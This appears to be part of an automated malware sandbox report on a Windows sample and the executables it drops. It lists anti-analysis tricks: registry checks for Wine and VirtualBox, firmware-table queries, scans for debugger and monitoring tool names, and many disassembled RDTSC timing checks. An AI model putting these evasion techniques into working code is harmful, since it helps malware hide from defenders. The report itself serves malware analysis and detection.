Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_6-37487
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-9696

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: e0c841723d.exe, 0000000D.00000002.3286335779.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXE
Source: 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1F822E second address: 1F8234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1F8234 second address: 1F823A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1F833E second address: 1F8351 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1F8351 second address: 1F838F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521217h 0x00000007 jg 00007F80A152120Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F80A1521206h 0x00000018 jmp 00007F80A152120Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1FBB9E second address: 1FBBA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1FBC78 second address: 1FBC91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521215h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1FBC91 second address: 1FBD47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F80A144E1DAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor dword ptr [esp], 4828203Dh 0x00000014 sub edi, dword ptr [ebp+122D38D0h] 0x0000001a push 00000003h 0x0000001c jmp 00007F80A144E1DCh 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007F80A144E1D8h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d push 00000003h 0x0000003f jmp 00007F80A144E1E5h 0x00000044 push D350D92Bh 0x00000049 jmp 00007F80A144E1E8h 0x0000004e xor dword ptr [esp], 1350D92Bh 0x00000055 sub dword ptr [ebp+122D34D1h], ecx 0x0000005b mov dword ptr [ebp+122D34D1h], ecx 0x00000061 lea ebx, dword ptr [ebp+124509F7h] 0x00000067 mov dx, bx 0x0000006a xchg eax, ebx 0x0000006b push edx 0x0000006c jns 00007F80A144E1DCh 0x00000072 pop edx 0x00000073 push eax 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 push eax 0x00000078 pop eax 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1FBDDA second address: 1FBDDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1FBDDE second address: 1FBDE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1FBDE4 second address: 1FBE34 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 0FAFEEB0h 0x0000000f movzx esi, cx 0x00000012 push 00000003h 0x00000014 cmc 0x00000015 push 00000000h 0x00000017 jo 00007F80A1521209h 0x0000001d sbb cl, 0000003Dh 0x00000020 push 00000003h 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F80A1521208h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 00000015h 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c mov cx, ax 0x0000003f call 00007F80A1521209h 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 push esi 0x00000048 pop esi 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1FBE34 second address: 1FBEB5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F80A144E1D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F80A144E1E0h 0x00000010 jmp 00007F80A144E1DAh 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F80A144E1E7h 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 jo 00007F80A144E1DCh 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c mov eax, dword ptr [eax] 0x0000002e pushad 0x0000002f jbe 00007F80A144E1EEh 0x00000035 jmp 00007F80A144E1E8h 0x0000003a push esi 0x0000003b js 00007F80A144E1D6h 0x00000041 pop esi 0x00000042 popad 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push ecx 0x0000004a jmp 00007F80A144E1DCh 0x0000004f pop ecx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1FBEB5 second address: 1FBEBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F80A1521206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 20E12A second address: 20E130 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 20E130 second address: 20E136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21D243 second address: 21D24D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F80A144E1D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21B36E second address: 21B37A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F80A1521206h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21B37A second address: 21B383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21B383 second address: 21B39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A1521215h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21B625 second address: 21B633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F80A144E1E2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21B79D second address: 21B7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21B7A1 second address: 21B7A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21BA91 second address: 21BAA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F80A152120Ah 0x0000000b push edi 0x0000000c pop edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21BAA6 second address: 21BAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21BBFF second address: 21BC05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21BC05 second address: 21BC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21BC09 second address: 21BC0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21BC0D second address: 21BC13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21BC13 second address: 21BC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F80A1521216h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21BC2F second address: 21BC35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21BF58 second address: 21BF61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21C0C1 second address: 21C106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A144E1DCh 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push esi 0x0000000c jmp 00007F80A144E1E9h 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F80A144E1D6h 0x00000019 jmp 00007F80A144E1E1h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21C106 second address: 21C10C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 213294 second address: 213298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 213298 second address: 2132A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2132A6 second address: 2132AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2132AC second address: 2132B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1E935E second address: 1E9371 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21C3B3 second address: 21C3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F80A1521206h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21C3C2 second address: 21C3D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F80A144E1DFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21C3D7 second address: 21C3DC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21C979 second address: 21C97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21C97F second address: 21C9A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F80A1521208h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F80A1521215h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21CC20 second address: 21CC28 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21CC28 second address: 21CC32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F80A1521206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21CC32 second address: 21CC60 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F80A144E1D6h 0x00000008 jmp 00007F80A144E1E0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F80A144E1DFh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21CDED second address: 21CE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A1521213h 0x00000009 pop ecx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21CE08 second address: 21CE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007F80A144E20Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F80A144E1D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21CE1B second address: 21CE33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521214h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21CE33 second address: 21CE41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F80A144E1DEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21FBDB second address: 21FBDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2225BF second address: 2225FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F80A144E1D6h 0x0000000a popad 0x0000000b jmp 00007F80A144E1E7h 0x00000010 pop edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F80A144E1E9h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2225FE second address: 222602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 222602 second address: 222608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 222608 second address: 22261D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F80A152120Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22261D second address: 222621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 222621 second address: 222642 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F80A1521206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F80A1521215h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1E2CE4 second address: 1E2CEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1E2CEA second address: 1E2D04 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007F80A1521206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F80A1521212h 0x00000012 jbe 00007F80A1521206h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2280E7 second address: 2280EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2280EB second address: 2280FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2280FD second address: 228136 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F80A144E1E2h 0x00000011 jnp 00007F80A144E1E2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2282AA second address: 2282B0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22844E second address: 22847F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F80A144E1E2h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push esi 0x00000016 pop esi 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22847F second address: 228485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22861B second address: 22862E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnc 00007F80A144E1DEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 228A3B second address: 228A41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 228A41 second address: 228A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 228A47 second address: 228A6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jnc 00007F80A1521206h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F80A1521214h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 228A6B second address: 228AA0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F80A144E1D6h 0x00000008 jmp 00007F80A144E1E0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jns 00007F80A144E1E4h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22958B second address: 22960F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jl 00007F80A1521206h 0x00000014 popad 0x00000015 pop eax 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jmp 00007F80A1521213h 0x0000001f mov eax, dword ptr [eax] 0x00000021 jmp 00007F80A1521213h 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a jnl 00007F80A1521214h 0x00000030 pop eax 0x00000031 mov edi, dword ptr [ebp+122D3AF4h] 0x00000037 push 527CD127h 0x0000003c push eax 0x0000003d push edx 0x0000003e jnl 00007F80A1521208h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22960F second address: 229615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 229615 second address: 229619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2298A4 second address: 2298BE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F80A144E1D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F80A144E1DCh 0x00000014 jl 00007F80A144E1D6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2298BE second address: 2298C3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
